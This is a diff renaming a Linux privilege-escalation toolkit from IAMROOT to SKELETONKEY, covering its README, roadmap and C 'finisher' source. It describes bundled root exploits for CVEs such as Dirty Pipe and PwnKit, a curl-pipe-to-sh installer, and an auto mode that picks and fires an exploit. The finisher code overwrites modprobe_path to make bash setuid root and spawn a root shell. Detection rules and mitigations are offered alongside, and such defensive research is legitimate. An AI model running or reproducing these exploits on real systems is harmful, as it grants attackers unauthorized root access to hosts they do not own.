| ⚪ Ported, unverified | **3** | `dirtydecrypt`, `fragnesia`, `pack2theroot`. Built and registered with **version-pinned `detect()`** (Linux 7.0 / 7.0.9 / PackageKit 1.3.5 respectively), but the **exploit bodies** are not yet validated end-to-end. `--auto` auto-enables `--active` to confirm empirically on top of the version verdict. Excluded from the 28-module verified counts above. |
**🟢 Modules that land root on a vulnerable host:**
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
(KASLR leak primitive)
**🟡 Modules with opt-in `--full-chain`:**
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
**⚪ Ported-but-unverified (not in the counts above):**
dirtydecrypt (CVE-2026-31635) · fragnesia (CVE-2026-46300) ·
pack2theroot (CVE-2026-41651) — ported from public PoCs, **exploit
bodies not yet VM-validated**. All three have version-pinned `detect()`:
`dirtydecrypt` against mainline fix commit `a2567217` in Linux 7.0;
`fragnesia` against mainline 7.0.9 (older Debian-stable branches still
unfixed); `pack2theroot` against PackageKit fix release 1.3.5
(commit `76cfb675`), version read from the daemon over D-Bus.
`--auto` auto-enables `--active` to confirm empirically on top.
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
detection status.
## Quickstart
```bash
# One-shot install (x86_64 / arm64; checksum-verified)
curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
```
# Install (x86_64 / arm64; checksum-verified)
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
**iamroot runs as a normal unprivileged user** — that's the whole
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
work without `sudo`. Only `--mitigate` and rule-file installation
write to root-owned paths.
```bash
# What's this box vulnerable to? (no sudo)
iamroot --scan
skeletonkey --scan
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
iamroot --audit
# Pick the safest LPE and run it
skeletonkey --auto --i-know
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
skeletonkey --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
sudo iamroot --mitigate copy_fail
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt
# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
--ssh-key ~/.ssh/id_rsa hosts.txt
```
**SKELETONKEY runs as a normal unprivileged user** — that's the point.
`--scan`, `--audit`, `--exploit`, and `--detect-rules` all work without
`sudo`. Only `--mitigate` and rule-file installation write root-owned
paths.
### Example: unprivileged → root
```text
$ id
uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ iamroot --scan
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
$ skeletonkey --auto --i-know
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
[*] auto: scanning 31 modules for vulnerabilities...
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[+] auto: pwnkit VULNERABLE (safety rank 100)
[ ] auto: copy_fail patched or not applicable
[ ] auto: nf_tables precondition not met
...
$ iamroot --exploit dirty_pipe --i-know
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
[+] dirty_pipe: spawning su root
[*] auto: scan summary — 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
[*] auto: launching --exploit pwnkit...
[+] pwnkit: writing gconv-modules cache + payload.so...
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
# id
uid=0(root) gid=0(root) groups=0(root)
```
`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
for the blue-team deployment guide.
The safety ranking goes: **structural escapes** (no kernel state
touched) → **page-cache writes****userspace cred-races**
**kernel primitives****kernel races** (least predictable). The
goal is to never crash a production box looking for root.
## What this is
## How it works
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
deep-dives. **IAMROOT is a living corpus**: each CVE that lands here
is empirically verified to work on the kernels it claims to target,
CI-tested across a distro matrix, and ships with the detection
signatures defenders need to spot it in their environment.
Each CVE (or tightly-related family) is a **module** under `modules/`.
Modules export a standard interface (`detect / exploit / mitigate /
cleanup`) plus metadata (kernel range, detection rule text). The
top-level binary dispatches per command:
The same binary covers offense and defense:
- `--scan` walks every module's `detect()` against the running host
- `--exploit <name> --i-know` runs the named module's exploit (the
`--i-know` flag is the authorization gate)
- `--auto --i-know` does the scan, ranks by safety, runs the safest
- `--detect-rules --format=<auditd|sigma|yara|falco>` emits the
embedded rule corpus
- `--mitigate <name>` / `--cleanup <name>` apply / undo temporary
mitigations (module-dependent — most kernel modules say "upgrade")
- `--dump-offsets` reads `/proc/kallsyms` + `/boot/System.map` and
emits a ready-to-paste C entry for the `--full-chain` offset table
- `iamroot --scan` — fingerprint the host, report which bundled CVEs
apply, and which are blocked by patches/config/LSM
- `iamroot --exploit <CVE>` — run the named exploit (with `--i-know`
authorization gate)
- `iamroot --detect-rules` — dump auditd / sigma / yara rules for
every bundled CVE so blue teams can drop them into their tooling
- `iamroot --mitigate` — apply temporary mitigations for CVEs the
host is vulnerable to (sysctl knobs, module blacklists, etc.)
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
module-loader design.
## The verified-vs-claimed bar
Most public PoC repos hardcode offsets for one kernel build and
silently break elsewhere. SKELETONKEY refuses to ship fabricated
offsets. The shared `--full-chain` finisher only returns
`EXPLOIT_OK` after a setuid bash sentinel file *actually appears*;
otherwise modules return `EXPLOIT_FAIL` with a diagnostic. Operators
populate the offset table once per target kernel via
`skeletonkey --dump-offsets` and either set env vars or upstream the
entry via PR ([`CONTRIBUTING.md`](CONTRIBUTING.md)).
## Build from source
```bash
git clone https://github.com/KaraZajac/SKELETONKEY.git
cd SKELETONKEY
make
./skeletonkey --version
```
Builds clean with gcc or clang on any modern Linux. macOS dev builds
also compile (modules with Linux-only headers stub out gracefully).
## Status
**Active — v0.3.0 cut 2026-05-16.** Corpus covers **24 modules**
across the 2016 → 2026 LPE timeline:
**v0.6.0 cut 2026-05-23.** 28 verified modules, plus 3
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`).
All 31 build clean on Debian 13 (kernel 6.12) and refuse cleanly on
patched hosts.
- 🟢 **13 modules land root** end-to-end on a vulnerable host
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
- 🟡 **11 modules fire the kernel primitive** by default and refuse
to claim root without empirical confirmation. Pass `--full-chain`
to engage the shared `modprobe_path` finisher and attempt root
pop — requires kernel offsets via env vars / `/proc/kallsyms` /
`/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
Modules: af_packet, af_packet2, af_unix_gc, cls_route4,
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
nft_payload, nft_set_uaf, stackrot.
- Detection rules ship inline (auditd / sigma / yara / falco) and
are exported via `iamroot --detect-rules --format=…`.
Reliability + accuracy work in v0.6.0:
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
to every module via `ctx->host`. 26 of 27 distinct modules consume it.
- **Test harness** (`tests/test_detect.c`, `make test`) — 44 unit
tests over mocked host fingerprints; runs as a non-root user in CI.
- `--auto` upgrades: auto-enables `--active`, per-detect 15s timeout,
fork-isolated detect + exploit so a crashing module can't tear down
the dispatcher, structured per-module verdict table, scan summary.
- `--dry-run` flag (preview without firing; no `--i-know` needed).
- Pinned mainline fix commits for the 3 ported modules — `detect()`
is version-pinned, not just precondition-only.
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
Empirical end-to-end validation on a vulnerable-target VM matrix is
the next roadmap item; until then, the corpus is best understood as
"compiles + detects + structurally correct + honest on failure" —
and the three ported modules have not been run against a vulnerable
target at all.
## Why this exists
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
infrastructure work.
The Linux kernel privilege-escalation space is fragmented:
## Contributing
- **`linux-exploit-suggester` / `linpeas`**: suggest applicable
exploits, don't run them
- **`auto-root-exploit` / `kernelpop`**: bundle exploits, but largely
stale, no CI, no defensive signatures
- **Per-CVE single-PoC repos**: usually one author, often abandoned
within months of release, often only one distro
IAMROOT's bet is that there's room for a single curated bundle that
(1) actively maintains a small set of high-quality exploits across a
multi-distro matrix, and (2) ships detection rules alongside each
exploit so the same project serves both red and blue teams.
## Architecture
Each CVE (or tightly-related family) is a **module** under `modules/`.
Modules export a standard interface: `detect()`, `exploit()`,
`mitigate()`, `cleanup()`, plus metadata describing affected kernel
ranges, distro coverage, and CI test matrix.
Shared infrastructure (AppArmor bypass, su-exploitation primitives,
fingerprinting, common utilities) lives in `core/`.
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
module-loader design and how to add a new CVE.
## Build & run
```bash
make # build all modules
./iamroot --scan # what's this box vulnerable to? (no sudo)
./iamroot --scan --json # machine-readable output for CI/SOC pipelines
./iamroot --detect-rules --format=sigma > rules.yml
./iamroot --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
```
PRs welcome for: kernel offsets (run `--dump-offsets` on a target
kernel, paste into `core/offsets.c`), new modules, detection rules,
and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
## Acknowledgments
Each module credits the original CVE reporter and PoC author in its
`NOTICE.md`. IAMROOT is the bundling and bookkeeping layer; the
research credit belongs to the people who found the bugs.
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer;
the research credit belongs to the people who found the bugs.
## License
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@@ -15,18 +15,18 @@ commitments.
## Phase 1 — Make the bundling real (DONE 2026-05-16)
- [x] Top-level `iamroot` dispatcher CLI (`iamroot.c`) — module
- [x] Top-level `skeletonkey` dispatcher CLI (`skeletonkey.c`) — module
registry, route to module's detect/exploit
- [x] Module interface header (`core/module.h`) — standard
`iamroot_module` struct + `iamroot_result_t` (numerically
`skeletonkey_module` struct + `skeletonkey_result_t` (numerically
aligned with copy_fail_family's `df_result_t` for zero-cost
bridging)
- [x] `core/registry.{c,h}` — flat-array registry with `find_by_name`
- [x] `modules/copy_fail_family/iamroot_modules.{c,h}` — bridge layer
- [x] `modules/copy_fail_family/skeletonkey_modules.{c,h}` — bridge layer
exposing 5 modules
- [x] Top-level `Makefile` that builds all modules into one binary
- [x] Smoke test: `iamroot --scan --json` produces ingest-ready JSON;
`iamroot --list` prints the module inventory
- [x] Smoke test: `skeletonkey --scan --json` produces ingest-ready JSON;
`skeletonkey --list` prints the module inventory
- [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`,
`exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared
across families). Phase 1 keeps them inside copy_fail_family/src/
@@ -35,7 +35,7 @@ commitments.
## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16)
Public PoC, well-understood, useful for completeness — IAMROOT
Public PoC, well-understood, useful for completeness — SKELETONKEY
without Dirty Pipe is incomplete as a "historical bundle." Affects
kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older
deployments (worth bundling — many production boxes still run
@@ -49,7 +49,7 @@ these).
branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+)
- [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow
watches) and `sigma.yml` (non-root modification of sensitive files)
- [x] Registered in `iamroot --list` / `--scan` output. Verified on
- [x] Registered in `skeletonkey --list` / `--scan` output. Verified on
kernel 6.12.86 → correctly reports OK (patched).
- [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline
passwd-UID and page-cache-revert helpers in the module (~80 lines).
@@ -76,12 +76,12 @@ primitive** that other modules can chain. Bundled because:
- [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
- [x] Exposed as a library helper: other modules can call
`entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h)
- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed
`entrybleed_leak_kbase_lib()` (declared in skeletonkey_modules.h)
- [x] Wired into skeletonkey.c registry; `skeletonkey --exploit entrybleed
--i-know` produces a kbase leak. Verified on kctf-mgr:
leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
- [x] `entry_SYSCALL_64` slot offset configurable via
`IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
`SKELETONKEY_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
Future enhancement: auto-detect via /boot/System.map or
/proc/kallsyms if accessible.
@@ -104,28 +104,28 @@ primitive** that other modules can chain. Bundled because:
## Phase 5 — Detection signature export (DONE 2026-05-16)
- [x] `iamroot --detect-rules --format=auditd` — embedded auditd rules
- [x] `skeletonkey --detect-rules --format=auditd` — embedded auditd rules
across all modules (deduped — family-shared rules emit once)
- [x] `iamroot --detect-rules --format=sigma` — embedded Sigma rules
- [x] `skeletonkey --detect-rules --format=sigma` — embedded Sigma rules
- [x] `--format=yara` and `--format=falco` flags accepted; per-module
strings can be added when authors ship them. Currently no module
ships YARA or Falco rules (skipped cleanly).
- [x] `struct iamroot_module` gained `detect_auditd`, `detect_sigma`,
- [x] `struct skeletonkey_module` gained `detect_auditd`, `detect_sigma`,
`detect_yara`, `detect_falco` fields — each NULL or pointer to
embedded C string. Self-contained binary, no data-dir install needed.
- [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup
## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16)
- [x] copy_fail_family: `iamroot --mitigate copy_fail` (or any family
- [x] copy_fail_family: `skeletonkey --mitigate copy_fail` (or any family
member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets
`kernel.apparmor_restrict_unprivileged_userns=1`, drops page
cache. Bridged from existing DIRTYFAIL `mitigate_apply()`.
- [x] copy_fail_family: `iamroot --cleanup <name>` routes by visible
- [x] copy_fail_family: `skeletonkey --cleanup <name>` routes by visible
state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists →
`mitigate_revert()`; else evict /etc/passwd page cache. Heuristic
sufficient for common usage patterns.
- [x] dirty_pipe: `iamroot --cleanup dirty_pipe` evicts /etc/passwd
- [x] dirty_pipe: `skeletonkey --cleanup dirty_pipe` evicts /etc/passwd
(already landed in Phase 2 complete).
- [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel";
no automated mitigation possible. Document and skip.
@@ -164,33 +164,117 @@ Backfill of historical and recent LPEs as time allows.
(hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
**Landed since v0.1.0 (in the 28-module verified corpus):**
- [x] **CVE-2021-3156** — sudo Baron Samedit: 🟡 PRIMITIVE
(`sudoedit -s` heap overflow; heap-tuned, may crash sudo).
- [x] **CVE-2021-33909** — Sequoia: 🟡 PRIMITIVE (`seq_file` size_t
overflow → kernel stack OOB; trigger + witness, no cred chain).
- [x] **CVE-2023-22809** — sudoedit EDITOR/VISUAL argv escape: 🟢 FULL
structural argv-injection (no kernel state, no offsets).
- [x] **CVE-2023-2008** — vmwgfx DRM bo size-validation OOB: 🟡
PRIMITIVE (kmalloc-512 OOB + slab witness, no cred chain).
**Landed (ported from public PoC, pending VM verification — NOT part
of the 28-module verified corpus):**
- [x] **CVE-2026-46300** — Fragnesia: 🟡 XFRM ESP-in-TCP page-cache
write. Ported from the V12 PoC; the old `_stubs/fragnesia_TBD`
stub is retired. The stub's open question ("is the
unprivileged-userns-netns scenario in scope?") is resolved —
the module ships and reports `PRECOND_FAIL` when the userns gate
is closed.
- [x] **CVE-2026-31635** — DirtyDecrypt: 🟡 rxgk missing-COW in-place
decrypt page-cache write. Ported from the V12 PoC.
- [x] **CVE-2026-41651** — Pack2TheRoot: 🟡 PackageKit `InstallFiles`
TOCTOU. Ported from the public Vozec PoC; original disclosure by
Deutsche Telekom security. Userspace D-Bus LPE with high-
confidence `detect()` — reads PackageKit's version directly over
D-Bus and compares against the pinned fix release 1.3.5 (commit
`76cfb675`). Debian-family only (PoC's built-in `.deb` builder).
Adds an optional GLib/GIO build dependency, autodetected via
`pkg-config gio-2.0`; stub-compiles if absent.
- [ ] **Verify all three (dirtydecrypt / fragnesia / pack2theroot)
on a vulnerable target**, pin remaining CVE fix commits, add
version-range tables, and promote 🟡 → 🟢. `--auto` auto-enables
`--active` so the probes give definitive verdicts; each
`detect()` runs in a fork-isolated child so one bad probe
cannot tear down the scan.
**--auto accuracy work (landed 2026-05-22):**
- [x] `--auto` auto-enables `--active`: per-module sentinel probes
run in `/tmp` / fork-isolated namespaces, so version-only
checks can no longer be fooled by silent distro backports.
- [x] Per-module verdict table at scan time (VULNERABLE / patched /
precondition / indeterminate) instead of only printing the
`VULNERABLE` rows.
- [x] Scan-end summary line counting each verdict class.
- [x] Distro fingerprint (`ID` + `VERSION_ID` from `/etc/os-release`)
printed in the `--auto` banner alongside kernel + arch.
- [x] Fork-isolated `detect()` calls — a SIGILL/SIGSEGV in any one
module's probe is contained and the scan continues. Surfaced
while testing entrybleed's `prefetchnta` sweep under emulated
CPUs: exactly the failure mode the isolation now handles.
- [x] `--dry-run` flag: previews the picked exploit (or single-module
operation) without firing. Works with `--auto`, `--exploit`,
`--mitigate`, `--cleanup`. `--auto --dry-run` does NOT require
`--i-know` (nothing fires) so operators can inspect the host's
attack surface without arming. Bare `--auto` still gates on
`--i-know` and now points to `--dry-run` in the refusal message.
- [x] Version-pinned `detect()` for the 3 ported modules — Debian
tracker provided the fix commits: `dirtydecrypt` against mainline
`a2567217` (Linux 7.0); `fragnesia` against 7.0.9; `pack2theroot`
against PackageKit 1.3.5. The `kernel_range` model now drives
their verdicts; `--active` confirms empirically on top.
- [x] **`core/host` host-fingerprint refactor.** A single
`struct skeletonkey_host` is populated once at startup and
handed to every module via `ctx->host`: kernel version + arch
+ distro id/version + capability gates (unprivileged_userns,
AppArmor restriction, BPF disabled, KPTI, lockdown, SELinux,
Yama ptrace) + service presence (systemd, system D-Bus). The
`--auto` / `--scan` banner now prints the fingerprint up front
so operators see at a glance which gates are open. 4 modules
migrated to consume the fingerprint (dirtydecrypt, fragnesia,
pack2theroot, overlayfs) — replacing per-detect `uname`s,
`/etc/os-release` parses, and userns fork-probes with O(1)
cached lookups. See `docs/ARCHITECTURE.md` for the pattern;
future modules can opt-in by including `core/host.h`.
- [ ] Migrate the remaining modules (cgroup_release_agent /
overlayfs_setuid / copy_fail_family bridge / others) to
consume `ctx->host` — incremental follow-up.
**Carry-overs:**
- [ ] **CVE-2023-2008** — vmwgfx OOB write
- [ ] Fragnesia (if it lands as a CVE)
- [ ] Anything we ourselves disclose — bundled AFTER upstream patch
ships (responsible-disclosure-first)
## Phase 8 — Full-chain promotions (post v0.1.0)
The 7 🟡 PRIMITIVE modules each stop one or two steps short of full
The 14 🟡 PRIMITIVE modules each stop one or two steps short of full
cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
None requires fresh research — each has a public reference exploit;
the work is porting the per-kernel offset dance into a portable
shape compatible with IAMROOT's "no-fabricated-offsets" rule (most
shape compatible with SKELETONKEY's "no-fabricated-offsets" rule (most
likely as an env-var override table per distro+kernel, with offset
auto-resolve via System.map / kallsyms when accessible).
Priority order: nf_tables (Notselwyn pipapo R/W), netfilter_xtcompat
(Andy Nguyen modprobe_path), af_packet (xairy sk_buff cred chase).
The other four are lower priority — fuse_legacy and cls_route4 have
The remainder are lower priority — fuse_legacy and cls_route4 have
narrower distro reach; af_packet2 piggybacks on af_packet; stackrot's
race window makes it inherently low-yield.
race window makes it inherently low-yield; the nft_* family and
vmwgfx need their per-kernel offset tables built out.
The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
**not** part of this Phase 8 promotion set — they need VM verification
and pinned fix commits first (tracked under Phase 7+ above) before any
full-chain work is meaningful.
## Non-goals
- **No 0-day shipment.** Everything in IAMROOT is post-patch.
- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
- **No automated mass-targeting.** No host-list mode. No automatic
pivoting.
- **No persistence beyond `--exploit-backdoor`'s
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@@ -1,5 +1,5 @@
/*
* IAMROOT — shared finisher helpers
* SKELETONKEY — shared finisher helpers
*
* See finisher.h for the pattern split (A: modprobe_path overwrite,
* B: current->cred->uid).
@@ -30,7 +30,7 @@ static int write_file(const char *path, const char *content, mode_t mode)
return 0;
}
void iamroot_finisher_print_offset_help(const char *module_name)
void skeletonkey_finisher_print_offset_help(const char *module_name)
{
fprintf(stderr,
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
@@ -38,7 +38,7 @@ void iamroot_finisher_print_offset_help(const char *module_name)
" To populate them on this host, choose ONE of:\n"
"\n"
" 1) Environment override (one-shot, no host changes):\n"
" IAMROOT_MODPROBE_PATH=0x... iamroot --exploit %s --i-know --full-chain\n"
" SKELETONKEY_MODPROBE_PATH=0x... skeletonkey --exploit %s --i-know --full-chain\n"
"\n"
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
@@ -54,26 +54,26 @@ void iamroot_finisher_print_offset_help(const char *module_name)
module_name, module_name);
}
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell)
{
if (!iamroot_offsets_have_modprobe_path(off)) {
iamroot_finisher_print_offset_help("module");
return IAMROOT_EXPLOIT_FAIL;
if (!skeletonkey_offsets_have_modprobe_path(off)) {
skeletonkey_finisher_print_offset_help("module");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!arb_write) {
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Per-pid working paths so concurrent runs don't collide. */
pid_t pid = getpid();
char mp_path[64], trig_path[64], pwn_path[64];
snprintf(mp_path, sizeof mp_path, "/tmp/iamroot-mp-%d.sh", (int)pid);
snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid);
snprintf(pwn_path, sizeof pwn_path, "/tmp/iamroot-pwn-%d", (int)pid);
snprintf(mp_path, sizeof mp_path, "/tmp/skeletonkey-mp-%d.sh", (int)pid);
snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
snprintf(pwn_path, sizeof pwn_path, "/tmp/skeletonkey-pwn-%d", (int)pid);
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
* know it ran. Bash 4+ refuses to use its own setuid bit by
@@ -81,14 +81,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
char payload[1024];
snprintf(payload, sizeof payload,
"#!/bin/sh\n"
"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n"
"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n",
"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
pwn_path, pwn_path, pwn_path);
if (write_file(mp_path, payload, 0755) < 0) {
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Unknown-format trigger: anything that fails the standard exec
@@ -97,7 +97,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
if (write_file(trig_path, "\x00", 0755) < 0) {
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
unlink(mp_path);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Build the kernel-side write payload: a NUL-terminated path to
@@ -114,7 +114,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
fprintf(stderr, "[-] finisher: arb_write failed\n");
unlink(mp_path);
unlink(trig_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Fire the trigger by exec'ing the unknown binary. fork() so the
@@ -129,7 +129,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
waitpid(cpid, &st, 0);
} else {
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
@@ -146,14 +146,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
unlink(mp_path);
unlink(trig_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
have_setuid:
if (!spawn_shell) {
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
unlink(mp_path);
unlink(trig_path);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
fflush(stderr);
@@ -161,11 +161,11 @@ have_setuid:
execve(pwn_path, argv, NULL);
/* Only reached on execve failure. */
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell)
{
@@ -173,7 +173,7 @@ int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
fprintf(stderr,
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
" the task list from init_task and find current). Modules with\n"
" only an arb-write should use iamroot_finisher_modprobe_path()\n"
" only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
" instead — same root capability, simpler trigger.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
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@@ -1,5 +1,5 @@
/*
* IAMROOT — shared finisher helpers for full-chain root pops.
* SKELETONKEY — shared finisher helpers for full-chain root pops.
*
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
* write, slab UAF, etc.). The conversion to root is almost always one
@@ -21,11 +21,11 @@
* Pattern (B) needs a self-cred chase + multiple writes.
*
* Modules provide their own arb-write primitive via the
* iamroot_arb_write_fn callback; this file wraps the rest.
* skeletonkey_arb_write_fn callback; this file wraps the rest.
*/
#ifndef IAMROOT_FINISHER_H
#define IAMROOT_FINISHER_H
#ifndef SKELETONKEY_FINISHER_H
#define SKELETONKEY_FINISHER_H
#include <stdint.h>
#include <stddef.h>
@@ -35,7 +35,7 @@
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
* `kaddr`. Module-specific implementation. Returns 0 on success,
* negative on failure. `ctx` is opaque module state. */
typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx);
@@ -43,22 +43,22 @@ typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
* groomed slab THEN call the trigger. The trigger is a separate fn
* because some modules need to re-spray before each write. NULL is
* acceptable if the arb-write is self-contained. */
typedef int (*iamroot_fire_trigger_fn)(void *ctx);
typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
* already populated `off->modprobe_path`. Implementation:
* 1. Write payload script to /tmp/iamroot-mp-<pid>
* 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-<pid>", 24)
* 3. Write unknown-format file to /tmp/iamroot-trig-<pid>
* 1. Write payload script to /tmp/skeletonkey-mp-<pid>
* 2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
* 3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
* → our payload runs as root → payload writes /tmp/iamroot-pwn
* → our payload runs as root → payload writes /tmp/skeletonkey-pwn
* and/or copies /bin/bash to /tmp with setuid root
